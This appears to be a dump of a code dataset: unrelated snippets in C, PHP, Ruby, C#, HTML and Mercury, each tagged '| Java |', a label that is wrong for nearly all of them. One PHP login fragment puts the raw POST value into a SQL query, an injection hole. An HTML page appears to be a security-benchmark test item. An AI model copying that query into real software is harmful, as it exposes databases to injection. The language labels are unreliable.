///////////////////////////////////////////////////////
// Function: get_time - Get time //
///////////////////////////////////////////////////////
long get_time() {
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec;
}
/////////////////////////////////////////
// Function: count_digit - count digit //
/////////////////////////////////////////
int count_digit(long num) {
int digit = 1;
int quotient;
quotient = int(num / 10);
while (quotient != 0) {
digit ++;
quotient = int(quotient / 10);
}
return digit;
}
//////////////////////////////////////////////////////
// Function: revcomp - convert to reverse complement//
//////////////////////////////////////////////////////
void revcomp(char* str) {
int i, len;
char c;
len = strlen(str);
for(i=0; i<len/2; i++) {
c = str[i];
str[i] = str[len-i-1];
str[len-i-1] = c;
}
for(i=0; i<len; i++) {
if (str[i] == 'A') {
str[i] = 'T';
} else if (str[i] == 'T') {
str[i] = 'A';
} else if (str[i] == 'G') {
str[i] = 'C';
} else if (str[i] == 'C') {
str[i] = 'G';
}
}
} | Java |
<?php namespace Jenssegers\Mongodb\Relations;
use MongoId;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Relations\Relation;
use Illuminate\Database\Eloquent\Collection as BaseCollection;
use Jenssegers\Mongodb\Eloquent\Collection;
abstract class EmbedsOneOrMany extends Relation {
/**
* The local key of the parent model.
*
* @var string
*/
protected $localKey;
/**
* The foreign key of the parent model.
*
* @var string
*/
protected $foreignKey;
/**
* The "name" of the relationship.
*
* @var string
*/
protected $relation;
/**
* Create a new embeds many relationship instance.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param \Illuminate\Database\Eloquent\Model $parent
* @param string $localKey
* @param string $foreignKey
* @param string $relation
* @return void
*/
public function __construct(Builder $query, Model $parent, Model $related, $localKey, $foreignKey, $relation)
{
$this->query = $query;
$this->parent = $parent;
$this->related = $related;
$this->localKey = $localKey;
$this->foreignKey = $foreignKey;
$this->relation = $relation;
// If this is a nested relation, we need to get the parent query instead.
if ($parentRelation = $this->getParentRelation())
{
$this->query = $parentRelation->getQuery();
}
$this->addConstraints();
}
/**
* Set the base constraints on the relation query.
*
* @return void
*/
public function addConstraints()
{
if (static::$constraints)
{
$this->query->where($this->getQualifiedParentKeyName(), '=', $this->getParentKey());
}
}
/**
* Set the constraints for an eager load of the relation.
*
* @param array $models
* @return void
*/
public function addEagerConstraints(array $models)
{
// There are no eager loading constraints.
}
/**
* Initialize the relation on a set of models.
*
* @param array $models
* @param string $relation
* @return void
*/
public function initRelation(array $models, $relation)
{
foreach ($models as $model)
{
$model->setParentRelation($this);
$model->setRelation($relation, $this->related->newCollection());
}
return $models;
}
/**
* Match the eagerly loaded results to their parents.
*
* @param array $models
* @param \Illuminate\Database\Eloquent\Collection $results
* @param string $relation
* @return array
*/
public function match(array $models, BaseCollection $results, $relation)
{
foreach ($models as $model)
{
$results = $model->$relation()->getResults();
$model->setParentRelation($this);
$model->setRelation($relation, $results);
}
return $models;
}
/**
* Shorthand to get the results of the relationship.
*
* @return Jenssegers\Mongodb\Eloquent\Collection
*/
public function get()
{
return $this->getResults();
}
/**
* Get the number of embedded models.
*
* @return int
*/
public function count()
{
return count($this->getEmbedded());
}
/**
* Attach a model instance to the parent model.
*
* @param \Illuminate\Database\Eloquent\Model $model
* @return \Illuminate\Database\Eloquent\Model
*/
public function save(Model $model)
{
$model->setParentRelation($this);
return $model->save() ? $model : false;
}
/**
* Attach an array of models to the parent instance.
*
* @param array $models
* @return array
*/
public function saveMany(array $models)
{
array_walk($models, array($this, 'save'));
return $models;
}
/**
* Create a new instance of the related model.
*
* @param array $attributes
* @return \Illuminate\Database\Eloquent\Model
*/
public function create(array $attributes)
{
// Here we will set the raw attributes to avoid hitting the "fill" method so
// that we do not have to worry about a mass accessor rules blocking sets
// on the models. Otherwise, some of these attributes will not get set.
$instance = $this->related->newInstance($attributes);
$instance->setParentRelation($this);
$instance->save();
return $instance;
}
/**
* Create an array of new instances of the related model.
*
* @param array $records
* @return array
*/
public function createMany(array $records)
{
$instances = array();
foreach ($records as $record)
{
$instances[] = $this->create($record);
}
return $instances;
}
/**
* Transform single ID, single Model or array of Models into an array of IDs
*
* @param mixed $ids
* @return array
*/
protected function getIdsArrayFrom($ids)
{
if ( ! is_array($ids)) $ids = array($ids);
foreach ($ids as &$id)
{
if ($id instanceof Model) $id = $id->getKey();
}
return $ids;
}
/**
* Get the embedded records array.
*
* @return array
*/
protected function getEmbedded()
{
// Get raw attributes to skip relations and accessors.
$attributes = $this->parent->getAttributes();
return isset($attributes[$this->localKey]) ? $attributes[$this->localKey] : null;
}
/**
* Set the embedded records array.
*
* @param array $records
* @return \Illuminate\Database\Eloquent\Model
*/
protected function setEmbedded($records)
{
$attributes = $this->parent->getAttributes();
$attributes[$this->localKey] = $records;
// Set raw attributes to skip mutators.
$this->parent->setRawAttributes($attributes);
// Set the relation on the parent.
return $this->parent->setRelation($this->relation, $this->getResults());
}
/**
* Get the foreign key value for the relation.
*
* @param mixed $id
* @return mixed
*/
protected function getForeignKeyValue($id)
{
if ($id instanceof Model)
{
$id = $id->getKey();
}
// Convert the id to MongoId if necessary.
return $this->getBaseQuery()->convertKey($id);
}
/**
* Convert an array of records to a Collection.
*
* @param array $records
* @return Jenssegers\Mongodb\Eloquent\Collection
*/
protected function toCollection(array $records = array())
{
$models = array();
foreach ($records as $attributes)
{
$models[] = $this->toModel($attributes);
}
if (count($models) > 0)
{
$models = $this->eagerLoadRelations($models);
}
return new Collection($models);
}
/**
* Create a related model instanced.
*
* @param array $attributes
* @return \Illuminate\Database\Eloquent\Model
*/
protected function toModel($attributes = array())
{
if (is_null($attributes)) return null;
$model = $this->related->newFromBuilder((array) $attributes);
$model->setParentRelation($this);
$model->setRelation($this->foreignKey, $this->parent);
// If you remove this, you will get segmentation faults!
$model->setHidden(array_merge($model->getHidden(), array($this->foreignKey)));
return $model;
}
/**
* Get the relation instance of the parent.
*
* @return Illuminate\Database\Eloquent\Relations\Relation
*/
protected function getParentRelation()
{
return $this->parent->getParentRelation();
}
/**
* Get the underlying query for the relation.
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function getQuery()
{
// Because we are sharing this relation instance to models, we need
// to make sure we use separate query instances.
return clone $this->query;
}
/**
* Get the base query builder driving the Eloquent builder.
*
* @return \Illuminate\Database\Query\Builder
*/
public function getBaseQuery()
{
// Because we are sharing this relation instance to models, we need
// to make sure we use separate query instances.
return clone $this->query->getQuery();
}
/**
* Check if this relation is nested in another relation.
*
* @return boolean
*/
protected function isNested()
{
return $this->getParentRelation() != null;
}
/**
* Get the fully qualified local key name.
*
* @return string
*/
protected function getPathHierarchy($glue = '.')
{
if ($parentRelation = $this->getParentRelation())
{
return $parentRelation->getPathHierarchy($glue) . $glue . $this->localKey;
}
return $this->localKey;
}
/**
* Get the parent's fully qualified key name.
*
* @return string
*/
protected function getQualifiedParentKeyName()
{
if ($parentRelation = $this->getParentRelation())
{
return $parentRelation->getPathHierarchy() . '.' . $this->parent->getKeyName();
}
return $this->parent->getKeyName();
}
/**
* Get the primary key value of the parent.
*
* @return string
*/
protected function getParentKey()
{
return $this->parent->getKey();
}
}
| Java |
require 'spec_helper'
feature "Searching Entities" do
include CurbHelpers
include SearchHelpers
scenario 'entities are found by name', js: true, search: true do
entity = create(:entity, :with_parent, name: 'Foo bar')
index_changed_models
expect_entity_api_search_to_find('bar') do|json|
json_item = json['entities'].first
expect(json_item).to have_key('id').with_value(entity.id.to_s)
%w(parent_id name country_code url).each do |key|
expect(json_item).to have_key(key).with_value(entity.send(key.to_sym))
end
%w(address_line_1 address_line_2 state phone email city).each do |key|
expect(json_item).not_to have_key(key)
end
end
end
scenario 'the results have relevant metadata', js: true, search: true do
entity = create(:entity, name: 'Foo bar')
index_changed_models
expect_entity_api_search_to_find('bar') do|json|
metadata = json['meta']
expect(metadata).to have_key('current_page').with_value(1)
expect(metadata).to have_key('query').with_value("term" => "bar")
end
end
def expect_entity_api_search_to_find(term, options = {})
sleep 1
with_curb_get_for_json(
"entities/search.json",
options.merge(term: term)) do |curb|
json = JSON.parse(curb.body_str)
yield(json) if block_given?
end
end
end
| Java |
<?
if($_GET['action'] == "login") {
$conn = mysql_connect("localhost","user","password"); // your MySQL connection data
$db = mysql_select_db("DATABASENAME"); //put your database name in here
$name = $_POST['user'];
$q_user = mysql_query("SELECT * FROM USERS WHERE login='$name'");
?>
| Java |
# TobiiEyetracking
This is the repository storing the codes for Tobii eye-tracking cases, including the application of Tobii and corresponding various methods of data analysis.
The utility of Tobii for experiment and design is mostly based on Matlab.
The data analysis consists of codes based on Matlab and R. I will try to create a consistent work soon.
| Java |
<?php
namespace Dennis\Tournament\Domain\Model;
/***************************************************************
*
* Copyright notice
*
* (c) 2014
*
* All rights reserved
*
* This script is part of the TYPO3 project. The TYPO3 project is
* free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* The GNU General Public License can be found at
* http://www.gnu.org/copyleft/gpl.html.
*
* This script is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* This copyright notice MUST APPEAR in all copies of the script!
***************************************************************/
/**
* Class PlayerKo
*
* @package Dennis\Tournament\Domain\Model
*/
class PlayerKo extends \TYPO3\CMS\Extbase\DomainObject\AbstractEntity {
/**
* name
*
* @var string
*/
protected $name = '';
/**
* Returns the name
*
* @return string $name
*/
public function getName() {
return $this->name;
}
/**
* Sets the name
*
* @param string $name
* @return self
*/
public function setName($name) {
$this->name = $name;
return $this;
}
}
| Java |
#ifndef _INCLUDE_DECODER_H
#define _INCLUDE_DECODER_H
#include <sys/time.h>
#include <string>
#include <map>
using std::string;
using std::map;
enum sensor_e {
TFA_1=0, // IT+ Klimalogg Pro, 30.3180, 30.3181, 30.3199(?)
TFA_2, // IT+ 30.3143, 30.3146(?), 30.3144
TFA_3, // 30.3155
TX22, // LaCrosse TX22
TFA_WHP, // 30.3306 (rain meter), pulse data
TFA_WHB, // TFA WeatherHub
FIREANGEL=0x20 // ST-630+W2
};
typedef struct {
sensor_e type;
uint64_t id;
double temp;
double humidity;
int alarm;
int flags;
int sequence;
time_t ts;
int rssi;
} sensordata_t;
class decoder
{
public:
decoder(sensor_e _type);
void set_params(char *_handler, int _mode, int _dbg);
virtual void store_bit(int bit);
virtual void flush(int rssi, int offset=0);
virtual void store_data(sensordata_t &d);
virtual void execute_handler(sensordata_t &d);
virtual void flush_storage(void);
virtual int has_sync(void) {return synced;};
int count(void) {return data.size();}
sensor_e get_type(void) {return type;}
virtual void store_bytes(uint8_t *d, int len);
protected:
int dbg;
int bad;
int synced;
sensor_e type;
uint8_t rdata[256];
int byte_cnt;
private:
char *handler;
int mode;
map<uint64_t,sensordata_t> data;
};
class demodulator
{
public:
demodulator(decoder *_dec);
virtual void start(int len);
virtual void reset(void){};
virtual int demod(int thresh, int pwr, int index, int16_t *iq);
decoder *dec;
protected:
int last_bit_idx;
};
#endif
| Java |
//
// --------------------------------------------------------------------------
// Gurux Ltd
//
//
//
// Filename: $HeadURL$
//
// Version: $Revision$,
// $Date$
// $Author$
//
// Copyright (c) Gurux Ltd
//
//---------------------------------------------------------------------------
//
// DESCRIPTION
//
// This file is a part of Gurux Device Framework.
//
// Gurux Device Framework is Open Source software; you can redistribute it
// and/or modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; version 2 of the License.
// Gurux Device Framework is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// More information of Gurux products: https://www.gurux.org
//
// This code is licensed under the GNU General Public License v2.
// Full text may be retrieved at http://www.gnu.org/licenses/gpl-2.0.txt
//---------------------------------------------------------------------------
using Gurux.DLMS.Internal;
using Gurux.DLMS.Plc;
using Gurux.DLMS.Plc.Enums;
using System;
using System.Collections.Generic;
namespace Gurux.DLMS
{
/// <summary>
/// PLC communication settings.
/// </summary>
public class GXPlcSettings
{
byte[] _systemTitle;
private GXDLMSSettings settings;
/// <summary>
/// Initial credit (IC) tells how many times the frame must be repeated. Maximum value is 7.
/// </summary>
public byte InitialCredit
{
get;
set;
}
/// <summary>
/// The current credit (CC) initial value equal to IC and automatically decremented by the MAC layer after each repetition.
/// Maximum value is 7.
/// </summary>
public byte CurrentCredit
{
get;
set;
}
/// <summary>
/// Delta credit (DC) is used by the system management application entity
/// (SMAE) of the Client for credit management, while it has no meaning for a Server or a REPEATER.
/// It represents the difference(IC-CC) of the last communication originated by the system identified by the DA address to the system identified by the SA address.
/// Maximum value is 3.
/// </summary>
public byte DeltaCredit
{
get;
set;
}
/// <summary>
/// IEC 61334-4-32 LLC uses 6 bytes long system title. IEC 61334-5-1 uses 8 bytes long system title so we can use the default one.
/// </summary>
public byte[] SystemTitle
{
get
{
if (settings != null && settings.InterfaceType != Enums.InterfaceType.Plc && settings.Cipher != null)
{
return settings.Cipher.SystemTitle;
}
return _systemTitle;
}
set
{
if (settings != null && settings.InterfaceType != Enums.InterfaceType.Plc && settings.Cipher != null)
{
settings.Cipher.SystemTitle = value;
}
_systemTitle = value;
}
}
/// <summary>
/// Source MAC address.
/// </summary>
public UInt16 MacSourceAddress
{
get;
set;
}
/// <summary>
/// Destination MAC address.
/// </summary>
public UInt16 MacDestinationAddress
{
get;
set;
}
/// <summary>
/// Response probability.
/// </summary>
public byte ResponseProbability
{
get;
set;
}
/// <summary>
/// Allowed time slots.
/// </summary>
public UInt16 AllowedTimeSlots
{
get;
set;
}
/// <summary>
/// Server saves client system title.
/// </summary>
public byte[] ClientSystemTitle
{
get;
set;
}
/// <summary>
/// Set default values.
/// </summary>
public void Reset()
{
InitialCredit = 7;
CurrentCredit = 7;
DeltaCredit = 0;
//New device addresses are used.
if (settings.InterfaceType == Enums.InterfaceType.Plc)
{
if (settings.IsServer)
{
MacSourceAddress = (UInt16)PlcSourceAddress.New;
MacDestinationAddress = (UInt16)PlcSourceAddress.Initiator;
}
else
{
MacSourceAddress = (UInt16)PlcSourceAddress.Initiator;
MacDestinationAddress = (UInt16)PlcDestinationAddress.AllPhysical;
}
}
else
{
if (settings.IsServer)
{
MacSourceAddress = (UInt16)PlcSourceAddress.New;
MacDestinationAddress = (UInt16)PlcHdlcSourceAddress.Initiator;
}
else
{
MacSourceAddress = (UInt16)PlcHdlcSourceAddress.Initiator;
MacDestinationAddress = (UInt16)PlcDestinationAddress.AllPhysical;
}
}
ResponseProbability = 100;
if (settings.InterfaceType == Enums.InterfaceType.Plc)
{
AllowedTimeSlots = 10;
}
else
{
AllowedTimeSlots = 0x14;
}
}
internal GXPlcSettings(GXDLMSSettings s)
{
settings = s;
Reset();
}
/// <summary>
/// Discover available PLC meters.
/// </summary>
/// <returns>Generated bytes.</returns>
public byte[] DiscoverRequest()
{
GXByteBuffer bb = new GXByteBuffer();
if (settings.InterfaceType != Enums.InterfaceType.Plc &&
settings.InterfaceType != Enums.InterfaceType.PlcHdlc)
{
throw new ArgumentOutOfRangeException("Invalid interface type.");
}
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
bb.Set(GXCommon.LLCSendBytes);
}
bb.SetUInt8((byte)Command.DiscoverRequest);
bb.SetUInt8(ResponseProbability);
bb.SetUInt16(AllowedTimeSlots);
//DiscoverReport initial credit
bb.SetUInt8(0);
// IC Equal credit
bb.SetUInt8(0);
int val = 0;
int clientAddress = settings.ClientAddress;
int serverAddress = settings.ServerAddress;
UInt16 da = settings.Plc.MacDestinationAddress;
UInt16 sa = settings.Plc.MacSourceAddress;
try
{
//10.4.6.4 Source and destination APs and addresses of CI-PDUs
//Client address is No-station in discoverReport.
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
settings.Plc.InitialCredit = 0;
settings.Plc.CurrentCredit = 0;
settings.Plc.MacSourceAddress = 0xC01;
settings.Plc.MacDestinationAddress = 0xFFF;
settings.ClientAddress = 0x66;
// All-station
settings.ServerAddress = 0x33FF;
}
else
{
val = settings.Plc.InitialCredit << 5;
val |= settings.Plc.CurrentCredit << 2;
val |= settings.Plc.DeltaCredit & 0x3;
settings.Plc.MacSourceAddress = 0xC00;
settings.ClientAddress = 1;
settings.ServerAddress = 0;
}
return GXDLMS.GetMacFrame(settings, 0x13, (byte)val, bb);
}
finally
{
settings.ClientAddress = clientAddress;
settings.ServerAddress = serverAddress;
settings.Plc.MacDestinationAddress = da;
settings.Plc.MacSourceAddress = sa;
}
}
/// <summary>
/// Generates discover report.
/// </summary>
/// <param name="systemTitle">System title</param>
/// <param name="newMeter">Is this a new meter.</param>
/// <returns>Generated bytes.</returns>
public byte[] DiscoverReport(byte[] systemTitle, bool newMeter)
{
GXByteBuffer bb = new GXByteBuffer();
if (settings.InterfaceType != Enums.InterfaceType.Plc &&
settings.InterfaceType != Enums.InterfaceType.PlcHdlc)
{
throw new ArgumentOutOfRangeException("Invalid interface type.");
}
byte alarmDescription;
if (settings.InterfaceType == Enums.InterfaceType.Plc)
{
alarmDescription = (byte)(newMeter ? 1 : 0x82);
}
else
{
alarmDescription = 0;
}
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
bb.Set(GXCommon.LLCReplyBytes);
}
bb.SetUInt8((byte)Command.DiscoverReport);
bb.SetUInt8(1);
bb.Set(systemTitle);
if (alarmDescription != 0)
{
bb.SetUInt8(1);
}
bb.SetUInt8(alarmDescription);
int clientAddress = settings.ClientAddress;
int serverAddress = settings.ServerAddress;
UInt16 macSourceAddress = settings.Plc.MacSourceAddress;
UInt16 macTargetAddress = settings.Plc.MacDestinationAddress;
try
{
//10.4.6.4 Source and destination APs and addresses of CI-PDUs
//Client address is No-station in discoverReport.
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
settings.Plc.MacDestinationAddress = (UInt16) PlcHdlcSourceAddress.Initiator;
}
else
{
settings.ClientAddress = 0;
settings.ServerAddress = 0xFD;
}
return GXDLMS.GetMacFrame(settings, 0x13, 0, bb);
}
finally
{
settings.ClientAddress = clientAddress;
settings.ServerAddress = serverAddress;
settings.Plc.MacSourceAddress = macSourceAddress;
settings.Plc.MacDestinationAddress = macTargetAddress;
}
}
/// <summary>
/// Parse discover reply.
/// </summary>
/// <param name="value"></param>
/// <returns>Array of system titles and alarm descriptor error code</returns>
public List<GXDLMSPlcMeterInfo> ParseDiscover(GXByteBuffer value, UInt16 sa, UInt16 da)
{
List<GXDLMSPlcMeterInfo> list = new List<GXDLMSPlcMeterInfo>();
byte count = value.GetUInt8();
for (int pos = 0; pos != count; ++pos)
{
GXDLMSPlcMeterInfo info = new GXDLMSPlcMeterInfo();
info.SourceAddress = sa;
info.DestinationAddress = da;
//Get System title.
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
info.SystemTitle = new byte[8];
}
else
{
info.SystemTitle = new byte[6];
}
value.Get(info.SystemTitle);
// Alarm descriptor of the reporting system.
// Alarm-Descriptor presence flag
if (value.GetUInt8() != 0)
{
//Alarm-Descriptor
info.AlarmDescriptor = value.GetUInt8();
}
list.Add(info);
}
return list;
}
/// <summary>
/// Register PLC meters.
/// </summary>
/// <param name="initiatorSystemTitle">Active initiator systemtitle</param>
/// <param name="systemTitle"></param>
/// <returns>Generated bytes.</returns>
public byte[] RegisterRequest(byte[] initiatorSystemTitle, byte[] systemTitle)
{
GXByteBuffer bb = new GXByteBuffer();
//Control byte.
bb.SetUInt8((byte)Command.RegisterRequest);
bb.Set(initiatorSystemTitle);
//LEN
bb.SetUInt8(0x1);
bb.Set(systemTitle);
//MAC address.
bb.SetUInt16(MacSourceAddress);
int val = settings.Plc.InitialCredit << 5;
val |= settings.Plc.CurrentCredit << 2;
val |= settings.Plc.DeltaCredit & 0x3;
int clientAddress = settings.ClientAddress;
int serverAddress = settings.ServerAddress;
UInt16 macSourceAddress = settings.Plc.MacSourceAddress;
UInt16 macTargetAddress = settings.Plc.MacDestinationAddress;
try
{
//10.4.6.4 Source and destination APs and addresses of CI-PDUs
//Client address is No-station in discoverReport.
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
settings.Plc.InitialCredit = 0;
settings.Plc.CurrentCredit = 0;
settings.Plc.MacSourceAddress = 0xC01;
settings.Plc.MacDestinationAddress = 0xFFF;
settings.ClientAddress = 0x66;
// All-station
settings.ServerAddress = 0x33FF;
}
else
{
settings.ClientAddress = 1;
settings.ServerAddress = 0;
settings.Plc.MacSourceAddress = 0xC00;
settings.Plc.MacDestinationAddress = 0xFFF;
}
return GXDLMS.GetMacFrame(settings, 0x13, (byte)val, bb);
}
finally
{
settings.ClientAddress = clientAddress;
settings.ServerAddress = serverAddress;
settings.Plc.MacSourceAddress = macSourceAddress;
settings.Plc.MacDestinationAddress = macTargetAddress;
}
}
/// <summary>
/// Parse register request.
/// </summary>
/// <param name="value"></param>
/// <returns>System title mac address.</returns>
public void ParseRegisterRequest(GXByteBuffer value)
{
//Get System title.
byte[] st;
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
st = new byte[8];
}
else
{
st = new byte[6];
}
value.Get(st);
byte count = value.GetUInt8();
for (int pos = 0; pos != count; ++pos)
{
//Get System title.
if (settings.InterfaceType == Enums.InterfaceType.PlcHdlc)
{
st = new byte[8];
}
else
{
st = new byte[6];
}
value.Get(st);
SystemTitle = st;
//MAC address.
MacSourceAddress = value.GetUInt16();
}
}
/// <summary>
/// Parse discover request.
/// </summary>
/// <param name="value"></param>
/// <returns></returns>
public GXDLMSPlcRegister ParseDiscoverRequest(GXByteBuffer value)
{
GXDLMSPlcRegister ret = new GXDLMSPlcRegister();
ret.ResponseProbability = value.GetUInt8();
ret.AllowedTimeSlots = value.GetUInt16();
ret.DiscoverReportInitialCredit = value.GetUInt8();
ret.ICEqualCredit = value.GetUInt8();
return ret;
}
/// <summary>
/// Ping PLC meter.
/// </summary>
/// <returns>Generated bytes.</returns>
public byte[] PingRequest(byte[] systemTitle)
{
GXByteBuffer bb = new GXByteBuffer();
//Control byte.
bb.SetUInt8((byte)Command.PingRequest);
bb.Set(systemTitle);
return GXDLMS.GetMacFrame(settings, 0x13, 0, bb);
}
/// <summary>
/// Parse ping response.
/// </summary>
/// <param name="value">Received data.</param>
public byte[] ParsePing(GXByteBuffer value)
{
return value.SubArray(1, 6);
}
/// <summary>
/// Repear call request.
/// </summary>
/// <returns>Generated bytes.</returns>
public byte[] RepeaterCallRequest()
{
GXByteBuffer bb = new GXByteBuffer();
//Control byte.
bb.SetUInt8((byte)Command.RepeatCallRequest);
//MaxAdrMac.
bb.SetUInt16(0x63);
//Nb_Tslot_For_New
bb.SetUInt8(0);
//Reception-Threshold default value
bb.SetUInt8(0);
return GXDLMS.GetMacFrame(settings, 0x13, 0xFC, bb);
}
}
} | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/js.cookie.js"></script>
<title>BenchmarkTest01074</title>
</head>
<body>
<form action="/benchmark/BenchmarkTest01074" method="POST" id="FormBenchmarkTest01074">
<div><label>Please explain your answer:</label></div>
<br/>
<div><textarea rows="4" cols="50" id="vectorArea" name="vectorArea" value=""></textarea></div>
<div><label>Any additional note for the reviewer:</label></div>
<div><input type="text" id="answer" name="answer"></input></div>
<br/>
<div><label>An AJAX request will be sent with a header named vector and value:</label>
<input type="text" id="vector" name="vector" value="whatever" class="safe"></input></div>
<div><input type="button" id="login-btn" value="Login" /></div>
</form>
<div id="ajax-form-msg1"></div>
<script>
$('.safe').keypress(function (e) {
if (e.which == 13) {
$('#login-btn').trigger('click');
return false;
}
});
$("#login-btn").click(function(){
var formData = $("#FormBenchmarkTest01074").serializeArray();
var URL = $("#FormBenchmarkTest01074").attr("action");
var text = $("#FormBenchmarkTest01074 input[id=vector]").val();
$.ajax({
url : URL,
headers: { 'vector': text },
type: "POST",
data : formData,
success: function(data, textStatus, jqXHR){
$("#ajax-form-msg1").html('<pre><code class="prettyprint">'+data+'</code></pre>');
},
error: function (jqXHR, textStatus, errorThrown){ alert(errorThrown);}
});
});
</script>
</body>
</html>
| Java |
// vim: ts=4 sw=4 expandtab ft=c
// Copyright (C) 1998-2012 The University of Melbourne.
// This file may only be copied under the terms of the GNU Library General
// Public License - see the file COPYING.LIB in the Mercury distribution.
#ifndef MERCURY_STACK_LAYOUT_H
#define MERCURY_STACK_LAYOUT_H
// mercury_stack_layout.h -
//
// Definitions for stack layout data structures. These are generated by the
// compiler, and are used by the parts of the runtime system that need to look
// at the stacks (and sometimes the registers) and make sense of their
// contents. The parts of the runtime system that need to do this include
// exception handling, the debugger, and (eventually) the accurate garbage
// collector.
//
// For a general description of the idea of stack layouts, see the paper
// "Run time type information in Mercury" by Tyson Dowd, Zoltan Somogyi,
// Fergus Henderson, Thomas Conway and David Jeffery, which is available from
// the Mercury web site. The relevant section is section 3.8, but be warned:
// while the general principles remain applicable, the details have changed
// since that paper was written.
//
// NOTE: The constants and data-structures used here need to be kept in
// sync with the ones generated in the compiler. If you change anything here,
// you may need to change stack_layout.m, layout.m, and/or layout_out.m in
// the compiler directory as well.
#include "mercury_types.h"
#include "mercury_std.h" // for MR_VARIABLE_SIZED
#include "mercury_tags.h"
#include "mercury_type_info.h" // for MR_PseudoTypeInfo
#include "mercury_proc_id.h" // for MR_ProcId
#include "mercury_goto.h" // for MR_PROC_LAYOUT etc
#include "mercury_tabling.h" // for MR_TableTrieStep etc
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_Determinism.
// The max_soln component of the determinism is encoded in the 1 and 2 bits.
// The can_fail component of the determinism is encoded in the 4 bit.
// The first_solution component of the determinism is encoded in the 8 bit.
//
// MR_DETISM_AT_MOST_MANY could also be defined as ((d) & 3) == 3),
// but this would be less efficient, since the C compiler does not know
// that we do not set the 1 bit unless we also set the 2 bit.
//
// NOTE: this must match the encoding specified by represent_determinism/1
// in mdbcomp/program_representation.m.
typedef MR_int_least16_t MR_Determinism;
#define MR_DETISM_DET 6
#define MR_DETISM_SEMI 2
#define MR_DETISM_NON 3
#define MR_DETISM_MULTI 7
#define MR_DETISM_ERRONEOUS 4
#define MR_DETISM_FAILURE 0
#define MR_DETISM_CCNON 10
#define MR_DETISM_CCMULTI 14
#define MR_DETISM_MAX 14
#define MR_DETISM_AT_MOST_ZERO(d) (((d) & 3) == 0)
#define MR_DETISM_AT_MOST_ONE(d) (((d) & 3) == 2)
#define MR_DETISM_AT_MOST_MANY(d) (((d) & 1) != 0)
#define MR_DETISM_CAN_FAIL(d) (((d) & 4) == 0)
#define MR_DETISM_FIRST_SOLN(d) (((d) & 8) != 0)
#define MR_DETISM_DET_STACK(d) (!MR_DETISM_AT_MOST_MANY(d) \
|| MR_DETISM_FIRST_SOLN(d))
////////////////////////////////////////////////////////////////////////////
// Definitions for MR_LongLval and MR_ShortLval.
// MR_LongLval is an MR_Unsigned which describes a location.
// This includes lvals such as stack slots, general registers, and special
// registers such as succip, hp, etc, as well as locations whose address is
// given as a typeinfo inside the type class info structure pointed to by an
// lval.
//
// What kind of location an MR_LongLval refers to is encoded using
// a low tag with MR_LONG_LVAL_TAGBITS bits; the type MR_LongLvalType
// describes the different tag values. The interpretation of the rest of
// the word depends on the location type:
//
// Locn Rest
//
// MR_r(Num) Num (register number)
// MR_f(Num) Num (register number)
// MR_stackvar(Num) Num (stack slot number)
// MR_framevar(Num) Num (stack slot number)
// MR_succip
// MR_maxfr
// MR_curfr
// MR_hp
// MR_sp
// constant See below
// indirect(Base, N) See below
// unknown (The location is not known)
//
// For constants, the rest of the word is a pointer to static data. The
// pointer has only two low tag bits free, so we reserve every four-bit tag
// which has 00 as its bottom two bits for representing them.
//
// For indirect references, the word exclusive of the tag consists of
// (a) an integer with MR_LONG_LVAL_OFFSETBITS bits giving the index of
// the typeinfo inside a type class info (to be interpreted by
// MR_typeclass_info_type_info or the predicate
// private_builtin.type_info_from_typeclass_info, which calls it) and
// (b) a MR_LongLval value giving the location of the pointer to the
// type class info. This MR_LongLval value will *not* have an indirect tag.
//
// This data is generated in stack_layout.represent_locn_as_int,
// which must be kept in sync with the constants and macros defined here.
typedef MR_Unsigned MR_LongLval;
typedef enum {
MR_LONG_LVAL_TYPE_CONS_0 = 0,
MR_LONG_LVAL_TYPE_R = 1,
MR_LONG_LVAL_TYPE_F = 2,
MR_LONG_LVAL_TYPE_STACKVAR = 3,
MR_LONG_LVAL_TYPE_CONS_1 = 4,
MR_LONG_LVAL_TYPE_FRAMEVAR = 5,
MR_LONG_LVAL_TYPE_SUCCIP = 6,
MR_LONG_LVAL_TYPE_MAXFR = 7,
MR_LONG_LVAL_TYPE_CONS_2 = 8,
MR_LONG_LVAL_TYPE_CURFR = 9,
MR_LONG_LVAL_TYPE_HP = 10,
MR_LONG_LVAL_TYPE_SP = 11,
MR_LONG_LVAL_TYPE_CONS_3 = 12,
MR_LONG_LVAL_TYPE_DOUBLE_STACKVAR = 13,
MR_LONG_LVAL_TYPE_DOUBLE_FRAMEVAR = 14,
MR_LONG_LVAL_TYPE_INDIRECT = 15,
MR_LONG_LVAL_TYPE_CONS_4 = 16,
MR_LONG_LVAL_TYPE_UNKNOWN = 17,
MR_LONG_LVAL_TYPE_CONS_5 = 20,
MR_LONG_LVAL_TYPE_CONS_6 = 24,
MR_LONG_LVAL_TYPE_CONS_7 = 28
} MR_LongLvalType;
// This must be in sync with stack_layout.long_lval_tag_bits.
#define MR_LONG_LVAL_TAGBITS 5
